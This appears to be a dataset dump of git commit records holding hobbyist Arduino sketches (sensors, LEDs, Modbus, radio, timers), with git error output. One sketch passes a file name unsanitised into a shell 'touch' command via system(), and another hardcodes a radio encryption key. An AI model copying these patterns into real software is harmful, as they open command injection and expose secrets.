FILE_WRITE);\n targetFile.print(content);\n targetFile.print(\"\\n\");\n targetFile.close();\n }\n}\n\nvoid addValueToFile(String fileName, uint32_t content) {\n char charFileName[fileName.length() + 1];\n fileName.toCharArray(charFileName, sizeof(charFileName));\n\n if (SD.exists(charFileName)) {\n File targetFile = SD.open(charFileName, FILE_WRITE);\n targetFile.print(content);\n }\n}\n\nvoid galileoCreateFile(String fileName) {\n String status_message = String();\n status_message = fileName;\n char charFileName[fileName.length() + 1];\n fileName.toCharArray(charFileName, sizeof(charFileName));\n\n if (SD.exists(charFileName)) {\n status_message += \" exists already.\";\n if (DEBUG == 1) Serial.println(\"existe\");\n }\n else {\n if (DEBUG == 1) Serial.println(\"no existe\");\n char system_message[256];\n char directory[] = \"\/media\/realroot\";\n sprintf(system_message, \"touch %s\/%s\", directory, charFileName);\n SD.open(charFileName,FILE_WRITE);\n system(system_message);\n if (SD.exists(charFileName)) {\n status_message += \" created.\";\n }\n else {\n status_message += \" creation tried and failed.\";\n }\n }\n}\n\n\/**********************************************************************\/\n\nint cont_current = 0;\nint cont_disconnected = 0;\n\nvoid loop(void)\n{\n String tipoLectura = String();\n\n switch (state) {\n\n case start:\n check_sensors();\n if (estatus_sensores == 0) {\n state = error;\n } else {\n if (estatus_sensores != estatus_anterior) {\n if (DEBUG == 1) Serial.println(\"Hubo cambios\");\n state = sendMetadata;\n } else {\n if (DEBUG == 1) Serial.println(\"No hubo cambios\");\n state = idle;\n }\n }\n\n\n break;\n\n case idle:\n if (DEBUG == 1) Serial.println(\"state:Duermo 1 min\");\n delay(SECOND * 60);\n if ( (estatus_sensores & POTENCIA) == POTENCIA ) {\n cont_current++;\n } else {\n cont_current = 0;\n }\n\n if (DEBUG == 1) {\n Serial.print(\"cont_current = \");\n Serial.println(cont_current);\n }\n if (DEBUG == 1) Serial.println(\"state:Idle\");\n \n if (cont_current >= TIME_POTENCIA) {\n readingFlag = readingFlag | POTENCIA;\n }\n \n if (readingFlag != 0x00) {\n state = readSensors;\n }\n\n break;\n\n case sendMetadata:\n if (DEBUG == 1) Serial.println(\"state:sendMetadata\");\n _sendMetaData(\"S\");\n state = idle;\n break;\n\n case sendDataMQTT:\n if (DEBUG == 1) Serial.println(\"state:sendDataMQTT\");\n \n if ( (readingFlag & POTENCIA) == POTENCIA) { \n for(int i = 0; i < ENERGY_COUNT; i++)\n {\n if(DEBUG == 1)\n {\n Serial.print(\"Enviando POTENCIA \");\n Serial.print(i);\n Serial.print(\":\");\n Serial.print(m.power[i] * 127);\n Serial.println(\" W\");\n Serial.print(\"***CORRIENTE electrica: \");\n Serial.print(m.power[i]);\n Serial.println(\" A\");\n }\n _sendDataMQTT(\"power\", ((warningFlag & POTENCIA) == POTENCIA) ? \"W\" : \"K\", i); \n }\n\n cont_current = 0;\n turnOnSensorLeds(POTENCIA);\n turnOnStatusLeds(POTENCIA);\n resetLeds();\n readingFlag = readingFlag ^ POTENCIA;\n }\n \n clearData();\n if (DEBUG == 1)Serial.print(\"SENSORS STATUS: \");\n if (DEBUG == 1)Serial.println(estatus_sensores);\n if (false) {\n if (DEBUG == 1)Serial.println(\"CONNECT SENSOR\");\n state = connectSensors;\n } else {\n state = start;\n }\n\n break;\n\n case readSensors:\n if (DEBUG == 1) Serial.println(\"state:readSensors\");\n if( (readingFlag & POTENCIA) == POTENCIA)\n {\n \n if(DEBUG == 1) Serial.println(\"ENERGY SENSORS\");\n for(int i = 0; i < ENERGY_COUNT; i++)\n {\n getCurrent(energySensors[i],i);\n if(DEBUG == 1)\n {\n Serial.print(i+1);\n Serial.print(\" Sensor: \");\n Serial.println(m.power[i]);\n }\n }\n \n }\n state = checkRanges;\n break;\n\n case checkRanges:\n check_ranges();\n state = sendDataMQTT;\n break;\n\n case error:\n if (DEBUG == 1) Serial.println(\"state:Error\");\n blinkERRORLed(10);\n cont_disconnected++;\n if (cont_disconnected == TIME_DISC) {\n cont_disconnected = 0;\n state = start;\n } else {\n delay(CONNECTION_DELAY);\n }\n\n break;\n\n case connectSensors:\n blinkConnectionLEDS(5);\n cont_disconnected++;\n if (cont_disconnected == TIME_DISC) {\n cont_disconnected = 0;\n state = start;\n } else {\n delay(CONNECTION_DELAY);\n }\n break;\n\n case idleIterator:\n\n break;\n\n default:\n if (DEBUG == 1) Serial.println(\"state:Default\");\n break;\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SensordeEnergia\/SensorEnergia.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"6f9b8eb1b970ff4223cd143733a12d5f4294f062","subject":"Add first Arduino example - blinky with delay function.","message":"Add first Arduino example - blinky with delay function.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/uno\/001_blinky_with_delay_function\/001_blinky_with_delay_function.ino","new_file":"arduino\/uno\/001_blinky_with_delay_function\/001_blinky_with_delay_function.ino","new_contents":"\/**\n * Copyright (c) 2019, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * ArduinoUno\/001\n * Blinky with delay function.\n *\/\n\n#define LED_PIN (13)\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Toggle LED pin\n delay(500); \/\/ wait 0.5s\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/uno\/001_blinky_with_delay_function\/001_blinky_with_delay_function.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"31e1adb31731d2d185104e03f7c803f7a77f5ec3","subject":"Simultaneus code. Unknown functionality","message":"Simultaneus code. Unknown functionality\n","repos":"TheBeachLab\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap","old_file":"code\/arduino\/all\/all.ino","new_file":"code\/arduino\/all\/all.ino","new_contents":"\/\/ FLIP-FLAP\n\/\/ Arduino code for Maker Faire Rome\n\/\/ October 2014\n\/\/ by John Rees\n\n\/\/ Declare the display not calibrated\nboolean calibrated = false;\n\n\/\/ Declare array strings for the 4 units\nString s0 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.:e \";\nString s1 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.:e \";\nString s2 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.:e \";\nString s3 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.:e \";\n\n\/\/ Define pin numbers\nint STEP_0 = 8;\nint STEP_1 = 6;\nint STEP_2 = 10;\nint STEP_3 = 12;\n\nint DIR_0 = 9;\nint DIR_1 = 7;\nint DIR_2 = 11;\nint DIR_3 = 13;\n\n\n\n\/\/int limit = 10000;\n\/\/int counter = 0;\n\nchar serialdata[4];\n\nvoid setup() {\n \n \/\/ Init Serial\n Serial.begin(9600);\n Keyboard.begin();\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n \n \/\/ Init stepper pins\n pinMode(DIR_3, OUTPUT); \n pinMode(STEP_3, OUTPUT);\n digitalWrite(DIR_3, HIGH);\n digitalWrite(STEP_3, LOW);\n\n pinMode(DIR_2, OUTPUT); \n pinMode(STEP_2, OUTPUT);\n digitalWrite(DIR_2, HIGH);\n digitalWrite(STEP_2, LOW);\n\n pinMode(DIR_0, OUTPUT); \n pinMode(STEP_0, OUTPUT);\n digitalWrite(DIR_0, HIGH);\n digitalWrite(STEP_0, LOW);\n\n pinMode(DIR_1, OUTPUT); \n pinMode(STEP_1, OUTPUT);\n digitalWrite(DIR_1, HIGH);\n digitalWrite(STEP_1, LOW);\n \n \n \/\/ Display Message\n Serial.println(\"Flip-Flap Ready!\");\n Serial.println(\"Enter the 4 characters that the flipflap is displaying:\");\n\n}\n\nint p0;\nint p1;\nint p2;\nint p3;\n\nvoid loop() {\n\n if (Serial.available() > 0) {\n\n Serial.readBytesUntil(10, serialdata, 4);\n\n p0 = s0.indexOf(0);\n p1 = s1.indexOf(1);\n p2 = s2.indexOf(2);\n p3 = s3.indexOf(3);\n\n if(!calibrated) {\n s0 = s0.substring(p0) + s0.substring(0,p0);\n s1 = s1.substring(p1) + s1.substring(0,p1);\n s2 = s2.substring(p2) + s2.substring(0,p2);\n s3 = s3.substring(p2) + s3.substring(0,p3);\n calibrated = true;\n } \n else {\n\n p0 *= 480;\n p1 *= 480;\n p2 *= 480; \n p3 *= 480; \n \n \n \/\/ Obtaining max of p0,p1,p2,p3 \n int maxp=max(p0,p1);\n maxp=max(maxp,p2);\n maxp=max(maxp,p3);\n \n \n \/\/ Put all steps in the same common loop\n for(int i = 0; i < maxp; i++) {\n \n if (i < p0) {\n digitalWrite(STEP_0, HIGH);}\n if (i < p1) {\n digitalWrite(STEP_1, HIGH);}\n if (i < p2) {\n digitalWrite(STEP_2, HIGH);}\n if (i < p3) {\n digitalWrite(STEP_3, HIGH);}\n \n delayMicroseconds(100);\n \n if (i < p0) {\n digitalWrite(STEP_0, LOW);}\n if (i < p1) {\n digitalWrite(STEP_1, LOW);}\n if (i < p2) {\n digitalWrite(STEP_2, LOW);}\n if (i < p3) {\n digitalWrite(STEP_3, LOW);} \n } \n \n \/\/ Shift strings\n s0 = s0.substring(p0) + s0.substring(0,p0);\n s1 = s1.substring(p1) + s1.substring(0,p1);\n s2 = s2.substring(p2) + s2.substring(0,p2);\n s3 = s3.substring(p3) + s3.substring(0,p3);\n Serial.println(\"Done!\"); \n\n }\n }\n\n\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/arduino\/all\/all.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7461500e486b21693e28758f826e756bfe5e7eb1","subject":"Create mega2560_Modbusmaster.ino","message":"Create mega2560_Modbusmaster.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rr\/mega2560_Modbusmaster.ino","new_file":"rr\/mega2560_Modbusmaster.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n\n#define baud 9600\n#define timeout 1000\n#define polling 200 \n#define retry_count 10\n\n\n#define TxEnablePin 2 \n\nlong randNumber; \n#define TOTAL_NO_OF_REGISTERS 1\n\n\nenum\n{\n PACKET1,\n PACKET2,\n TOTAL_NO_OF_PACKETS\n};\n\n\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n \n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 1, 1, 0);\n \n \n modbus_configure(&Serial3, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n \n}\n\nvoid loop()\n{randNumber = random(10, 30); \n modbus_update();\n \n regs[0] = randNumber;\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rr\/mega2560_Modbusmaster.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"734baa4256407c47ebe0b5a0c2cb1c25dd733069","subject":"Untested Arduino receiver code.","message":"Untested Arduino receiver code.\n","repos":"wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed","old_file":"SensorSeed\/Arduino\/ArduinoIndoorReceiverI2cSlave\/ArduinoIndoorReceiverI2cSlave.ino","new_file":"SensorSeed\/Arduino\/ArduinoIndoorReceiverI2cSlave\/ArduinoIndoorReceiverI2cSlave.ino","new_contents":"#include <TinyWireM.h>\n#include <USI_TWI_Master.h>\n#include <Wire.h>\n#include <RFM69.h>\n#include <SPI.h>\n#include <stdlib.h>\n\nvolatile byte* Float1ArrayPtr;\ndouble dataToSend;\nunsigned long lastReceivedMillis = millis();\nunsigned long lastSentMillis = millis();\nchar radiopacket[150];\n\n\/\/ Settings for the Adafruit RFM69HCW radio\n#define NETWORKID 81\n#define NODEID 1\n#define FREQUENCY RF69_915MHZ\n#define ENCRYPTKEY \"eq^YkQ3n7HvC#9c$\"\n#define IS_RFM69HCW true\n\n\/\/ Pins for the Adafruit RFM69HCW radio\n#define RFM69_CS 10\n#define RFM69_IRQ 2\n#define RFM69_IRQN 0 \/\/ IRQ 0\n#define RFM69_RST 9\n\n#define LED 13\n\n#define SERIAL_BAUD 9600\n\n\/\/ Setup the radio library\nRFM69 radio = RFM69(RFM69_CS, RFM69_IRQ, IS_RFM69HCW, RFM69_IRQN);\n\nvoid setupRadio() {\n \/\/ Hard Reset the RFM module\n pinMode(RFM69_RST, OUTPUT);\n digitalWrite(RFM69_RST, HIGH);\n delay(100);\n digitalWrite(RFM69_RST, LOW);\n delay(100);\n\/\/ Initialize radio\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n if (IS_RFM69HCW) {\n radio.setHighPower(); \/\/ Only for RFM69HCW & HW!\n }\n radio.setPowerLevel(31); \/\/ power output ranges from 0 (5dBm) to 31 (20dBm)\n \n radio.encrypt(ENCRYPTKEY);\n \n pinMode(LED, OUTPUT);\n Serial.print(\"\\nListening at \");\n Serial.print(FREQUENCY==RF69_433MHZ ? 433 : FREQUENCY==RF69_868MHZ ? 868 : 915);\n Serial.println(\" MHz\"); \n}\n\n\nvoid setup() {\n Serial.begin(SERIAL_BAUD);\n Serial.println(\"Starting Arduino Metro weather station I2C master, radio receiver...\");\n setupRadio();\n\n Wire.begin(7);\n Wire.onRequest(requestEvent); \n Wire.onReceive(receiveEvent); \n Serial.println(\"Setup complete\"); \n}\n\nvoid loop() {\n \/\/check if something was received (could be an interrupt from the radio)\n if (radio.receiveDone())\n {\n \/\/print message received to serial\n Serial.print('[');Serial.print(radio.SENDERID);Serial.print(\"] \");\n Serial.print((char*)radio.DATA);\n Serial.print(\" [RX_RSSI:\");Serial.print(radio.RSSI);Serial.print(\"]\");\n\n lastReceivedMillis = millis();\n \n \/\/check if sender wanted an ACK\n if (radio.ACKRequested())\n {\n radio.sendACK();\n Serial.println(\" - ACK sent\");\n }\n }\n \n radio.receiveDone(); \/\/put radio in RX mode\n Serial.flush(); \/\/make sure all serial data is clocked out before sleeping the MCU\n}\n\ndouble isDataNew() {\n unsigned long difference = lastReceivedMillis - lastSentMillis;\n if(difference > 0) {\n return 1; \n } else {\n return 0;\n }\n}\n\n\n\nvoid requestEvent(){\n \/\/ char frame[30];\n \/\/sprintf(frame, \"%8.2\", dataToSend);\n\n \/\/String data = String(dataToSend, DEC);\n \/\/dataToSend = 123456.78;\n\n\n if(dataToSend == 3) {\n \/\/String data = String(radiopacket);\n lastSentMillis = millis();\n Wire.write(radiopacket);\n } else {\n char temp1[10];\n dtostrf(dataToSend, 10, 2, temp1);\n String data = String(temp1);\n Wire.write(temp1); \n }\n\n \/\/Wire.write(frame, 30);\n \/\/Wire.write(\"abcd\");\n \/\/Serial.print(\"Sent: \");\n \/\/Serial.println(data);\n \/\/Serial.println(\"-----\"); \n}\n\n\nvoid receiveEvent(int howMany){\n int c;\n c = Wire.read(); \/\/ receive byte as a character\n \/\/Serial.print(\"Got: \");\n \/\/Serial.println(c);\n if(c == 1) { \/\/ Is there new data?\n dataToSend = isDataNew();\n \/\/dataToSend = 1.2;\n } else if(c == 2) { \/\/ What is the data?\n \/\/ dataToSend = 3.4;\n dataToSend = 3; \n }\n} \n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorSeed\/Arduino\/ArduinoIndoorReceiverI2cSlave\/ArduinoIndoorReceiverI2cSlave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2ae56e9e3e82196a77a63f0a84ea75df099c498","subject":"Fix typos and incorrect LED assignment","message":"Fix typos and incorrect LED assignment\n","repos":"agoering\/spice-arduino,ayocom\/spice-arduino","old_file":"Sounds and Senses\/analog_range\/analog_range.ino","new_file":"Sounds and Senses\/analog_range\/analog_range.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sounds' did not match any file(s) known to git\nerror: pathspec 'and' did not match any file(s) known to git\nerror: pathspec 'Senses\/analog_range\/analog_range.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e354ec27936923d6e5c384566636215157d30dab","subject":"Initial commit for shu_timer","message":"Initial commit for shu_timer\n","repos":"kazunori279\/cloudbit","old_file":"shu_timer\/shu_timer.ino","new_file":"shu_timer\/shu_timer.ino","new_contents":"\/*\n Shu Timer\n \n A Timer app with for Shu-chan to limit his TV\/Gaming time.\n Runs on littleBits + Arduino.\n *\/\n\n\/\/ consts\nconst int START_BTN = 0; \/\/ timer start button input at D0\nconst int STOP_BTN = A0; \/\/ timer stop button input at A0\nconst int RESET_BTN = A1; \/\/ timer reset button input at A1\nconst int BLINKER_LED = 1; \/\/ blinker LED output at D1\nconst int COUNTER_LED = 5; \/\/ counter 7-seg LED output at D5\nconst int CLOUDBIT = 9; \/\/ cloudBit output at D9\n\nconst int START_VAL = 20 * 60; \/\/ the unit amount for starting timer in seconds\nconst int MAX_VAL = 99 * 60; \/\/ max amount of timer in seconds\n\n\/\/ states\nint timerValue = 0;\nunsigned long lastTick = 0;\nboolean isStopped = false;\nint startBtnPrev = LOW;\nint stopBtnPrev = 0;\nint timerValuePrev = 0;\n\n\/\/ setup\nvoid setup() {\n pinMode(BLINKER_LED, OUTPUT);\n pinMode(COUNTER_LED, OUTPUT);\n pinMode(CLOUDBIT, OUTPUT);\n analogWrite(CLOUDBIT, 0);\n}\n\n\/\/ main loop\nvoid loop() {\n delay(100);\n ticking();\n checkResetButton();\n checkStartButton();\n checkStopButton();\n outputCloudBit();\n displayBlinker();\n displayCounter();\n}\n\n\/\/ decrease timerValue every one sec if timer is not stopped\nvoid ticking() {\n if (lastTick == 0 || millis() - lastTick > 1000) {\n lastTick = millis();\n timerValuePrev = timerValue;\n if (timerValue > 0 && !isStopped) {\n timerValue--;\n }\n }\n}\n\n\/\/ if reset button is pressed, clear all the states\nvoid checkResetButton() {\n if (digitalRead(RESET_BTN) == HIGH) {\n lastTick = 0;\n timerValue = 0;\n timerValuePrev = 0;\n isStopped = false;\n }\n}\n\n\/\/ if start button is pressed, increase timerValue by START_VAL\nvoid checkStartButton() {\n boolean startBtn = digitalRead(START_BTN);\n if (startBtn == HIGH && startBtnPrev == LOW) {\n timerValue = min(timerValue + START_VAL, MAX_VAL);\n }\n startBtnPrev = startBtn;\n}\n\n\/\/ if stop button is pressed, flip isStopped flag\nvoid checkStopButton() {\n int stopBtn = analogRead(STOP_BTN);\n if (stopBtn > 90 && stopBtnPrev == 0 && timerValue > 0) {\n isStopped = !isStopped;\n }\n stopBtnPrev = stopBtn;\n}\n\n\/\/ output to blinker LED\nvoid displayBlinker() {\n\n \/\/ if timer is not working, turn off\n if (timerValue == 0) {\n digitalWrite(BLINKER_LED, LOW);\n return;\n }\n\n \/\/ if timer is stopped, turn on\n if (isStopped) {\n digitalWrite(BLINKER_LED, HIGH);\n return;\n }\n\n \/\/ if timer is ticking, blink it\n int blinkerValue = LOW;\n if(timerValue % 2 == 0) {\n blinkerValue = LOW;\n } else {\n blinkerValue = HIGH;\n }\n digitalWrite(BLINKER_LED, blinkerValue);\n}\n\n\/\/ output to counter 7seg LED\nvoid displayCounter() {\n int counterValue = counterValue = map(timerValue, 0, 5999, 0, 255); \/\/ maps 6000 sec to 100 minutes on littleBits LED\n analogWrite(COUNTER_LED, counterValue);\n}\n\n\/\/ output to cloutBit when timer counting is finished\nvoid outputCloudBit() {\n if (timerValue == 0 && timerValuePrev == 1) {\n analogWrite(CLOUDBIT, 255);\n delay(500);\n analogWrite(CLOUDBIT, 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shu_timer\/shu_timer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"64b93cf83039541719b35d797938fe2a05a00c61","subject":"quad ultrasonic sensor code optimization","message":"quad ultrasonic sensor code optimization\n","repos":"ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo","old_file":"Diger\/ultrasonic sensor (d\u00f6rtl\u00fc) arduino\/quad_ultrasonic_sensor\/quad_ultrasonic_sensor.ino","new_file":"Diger\/ultrasonic sensor (d\u00f6rtl\u00fc) arduino\/quad_ultrasonic_sensor\/quad_ultrasonic_sensor.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"638b9f0c89a5cbe1406b456add7fb7db276a579a","subject":"PWM reader","message":"PWM reader\n","repos":"sdvornikov\/avr-stuff,sdvornikov\/avr-stuff,sdvornikov\/avr-stuff","old_file":"TimerTest\/TimerTest.ino","new_file":"TimerTest\/TimerTest.ino","new_contents":"#include <LiquidCrystal.h>\n\n#define LED_PIN 13\n#define READ_PIN 2\n#define PWM_PIN 3\n\n#define POT_PIN 0\n\nvolatile long timeSinceLast = 0;\nvolatile long period = 0;\nvolatile long pilseLength = 0;\n\nISR(INT0_vect) {\n int currentTime = TCNT1;\n if (digitalRead(READ_PIN) == HIGH) {\n timeSinceLast = currentTime;\n period = pilseLength + currentTime;\n } else {\n TCNT1 = 0;\n pilseLength = currentTime - timeSinceLast;\n }\n}\n\nint currState = LOW;\nLiquidCrystal lcd(5, 6, 8, 9, 10, 11);\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n pinMode(READ_PIN, INPUT);\n pinMode(PWM_PIN, OUTPUT);\n \n \n lcd.begin(16, 2);\n lcd.print(\"hello, world!\");\n Serial.begin(9600);\n TCCR1A = 0; \/\/ set timer1 operation mode to normal\n \/\/TIFR1 |= _BV(OCF1A); \/\/ clear any pending interrupts; \n \/\/TIMSK1 |= _BV(OCIE1A) ; \/\/ enable the output compare interrupt \n \n EICRA |= (1 << ISC00); \/\/ ext.int. any logic change\n EIMSK |= (1 << INT0); \/\/ enable INT0\n TCCR1B = 2; \/\/ set prescaler 8\n \/\/ change timer2 prescaler. Timer2 controls PWM no pin 3\n TCCR2B &= 0xF8; \/\/ clear prescaler bits\n TCCR2B |= 5; \/\/ set 1024 prescaler\n \n Serial.println(TCCR0B);\n Serial.println(TCCR1B);\n Serial.println(TCCR2B);\n}\n\nvoid loop()\n{\n blink();\n \n byte potValue = analogRead(POT_PIN)\/4;\n analogWrite(PWM_PIN, potValue);\n \n lcd.setCursor(0, 0);\n lcd.print(\"Pulse(ms): \");\n lcd.print(1000.0 \/ (double)(F_CPU \/ (pilseLength * 8)));\n lcd.setCursor(0, 1);\n lcd.print(\"Period(ms): \");\n lcd.print(1000.0 \/ (double)(F_CPU \/ (period * 8)));\n \n Serial.print(\"Pulse(ms): \");\n Serial.print(1000.0 \/ (double)(F_CPU \/ (pilseLength * 8)));\n Serial.print(\" Period(ms): \");\n Serial.print(1000.0 \/ (double)(F_CPU \/ (period * 8)));\n Serial.print(\" PotValue: \");\n Serial.println(potValue);\n \/\/Serial.println(TCNT1);\n \n \/\/char str[255];\n \/\/sprintf(str, \"qwe %i\", 555);\n \/\/Serial.println(str);\n\n delay(10);\n}\n\nvoid blink() {\n digitalWrite(LED_PIN, currState);\n if (currState == LOW)\n currState = HIGH;\n else\n currState = LOW;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TimerTest\/TimerTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6921ca654ec7b8fb2635cbd9c1567edff0c520fe","subject":"Create load-cell-calibration.ino","message":"Create load-cell-calibration.ino\n\nUse this sketch to calculate the calibration parameter to output mass in human readable quantities","repos":"jashtonSF\/spice-machine","old_file":"firmware\/load-cell-calibration.ino","new_file":"firmware\/load-cell-calibration.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Particle Photon load cell scale v1.0 \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Justin Ashton \n\/\/ (c) J. Ashton & Company, Inc., 2016\n\/\/ \n\/\/ Borrowed code from: https:\/\/github.com\/juano2310\/HX711ADC\n\/\/\n\/\/ Hardware setup: Particle Photon, HX711 load cell amp from SparkFun, load cell strain gauge\n\/\/\n\/\/ This sketch is designed to help you calibrate your load cell scale.\n\/\/ Run this sketch and open a serial port for input\/output. The first time you run this\n\/\/ sketch, enter the number \"1\" to reset any existing calibration. Then type \"2\" to\n\/\/ zero out the scale (tare). Place a known weight on the scale, then type \"3\" to measure \n\/\/ and output the weight on the scale. The calibration parameter needed in .set_scale() is \n\/\/ equal to the value output in step #3 divided by the mass of the known weight. Enter it \n\/\/ inside the parentheses of the scale.set_scale() function under void setup().\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"application.h\"\n#include \"HX711ADC\/HX711ADC.h\"\n\nchar user_input;\n\n\/\/HX711ADC(byte dout, byte pd_sck, byte gain = 128);\nHX711ADC scale(D3, D2); \/\/D3 to DAT and D2 to CLK pin on SparkFun load cell amp board\n\n\nvoid setup() {\n Serial.begin(9600);\n scale.set_scale(1610.f); \/\/ to calibrate scale, change this parameter and be sure to add \".f\" after\n Serial.println(\"HX711ADC Calibration Sketch\");\n Serial.println(\"Menu: Enter number\");\n Serial.println(\"m. List menu.\");\n Serial.println(\"1. Reset scale calibration.\");\n Serial.println(\"2. Zero out scale.\");\n Serial.println(\"3. Weigh scale.\");\n Serial.println();\n\n}\n\nvoid loop() {\n \n while(Serial.available()){\n user_input = Serial.read(); \/\/Read user input and trigger appropriate action\n switch (user_input){\n case '1':\n Serial.println(\"1. Reset scale calibration.\"); \/\/uses function .set_scale to reset the calibration value\n scale.set_scale();\n Serial.println(\"Initialized\");\n delay(250);\n break;\n \n case '2':\n Serial.println(\"2.Zero out scale.\"); \/\/use function .tare to zero out scale\n scale.tare(); \n Serial.println(\"Zeroed.\");\n delay(250);\n break;\n \n case '3':\n Serial.println(\"3. Weigh scale.\"); \/\/ reads and outputs an average value of weight.\n Serial.println(scale.get_units(10));\n delay(250);\n break;\n \n case 'm':\n Serial.println(\"Menu: Enter number\");\n Serial.println(\"m. List menu.\");\n Serial.println(\"1. Reset scale calibration.\");\n Serial.println(\"2. Zero out scale.\");\n Serial.println(\"3. Weigh scale.\");\n Serial.println();\n delay(250);\n break;\n \n default:\n Serial.println(\"Invalid option entered.\");\n }\n \n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/load-cell-calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c81c3b8ba82c1b29c8dc0fe9c9ffa786c608eb8","subject":"Use strcmp instead of == (c# habits die hard)","message":"Use strcmp instead of == (c# habits die hard)","repos":"lgramatikov\/celeste","old_file":"WarningBulb.ino","new_file":"WarningBulb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c50644126dc5efb7329f3b94e0409f29ae7a446d","subject":"add arduino program to read animation from SD and sending to 3D8","message":"add arduino program to read animation from SD and sending to 3D8\n","repos":"tomazas\/DotMatrixJava,dominikundtilo\/dotmatrix","old_file":"SDAnimation.ino","new_file":"SDAnimation.ino","new_contents":"#include \"SD.h\"\n#include \"string.h\"\n\nSd2Card card;\nSdVolume volume;\nconst int chipSelect = 4;\nFile root;\n\nvoid setup()\n{\n\tSerial.begin(57600);\n\n\tpinMode(10, OUTPUT); \/\/ change this to 53 on a mega\n\n\tbool sd_ok = SD.begin(9);\n\n\tif (!sd_ok)\n\t{\n\t\tSerial.println(\"failed.\");\n\t\treturn;\n\t}\n\n\troot = SD.open(\"\/\");\n}\n\nvoid sendAnimation(byte *data)\n{\n\tSerial.write(0xf3);\n\tSerial.write(data[1]);\n\n\tSerial.write(0xf4);\n\tSerial.write(data[2]);\n\n\tSerial.write(0xf5);\n\tSerial.write(data[3]);\n\n\tSerial.write(0xf2);\n\tfor (byte i = 8; i < 72; i++)\n\t{\n\t\tSerial.write(data[i]);\n\t}\n\n\tdelayMicroseconds(makeWord(data[4], data[5]));\n\tdelay(makeWord(data[6], data[7]));\n}\n\nvoid readAnimation(File & file)\n{\n\tbyte data[72];\n\twhile (file.available())\n\t{\n\t\tfile.read(data, 72);\n\/\/\t\tfor (byte i = 0; i < 72; i++)\n\/\/\t\t\tSerial.write(data[i]);\n\n\t\tsendAnimation(data);\n\t}\n}\n\nvoid loop(void)\n{\n\tFile file = root.openNextFile();\n\tif (file)\n\t{\n\t\tchar *p = file.name();\n\t\tchar *p_dot = strchr(p, '.');\n\n\t\tif (p_dot != NULL && strcmp(p_dot, \".DAT\") == 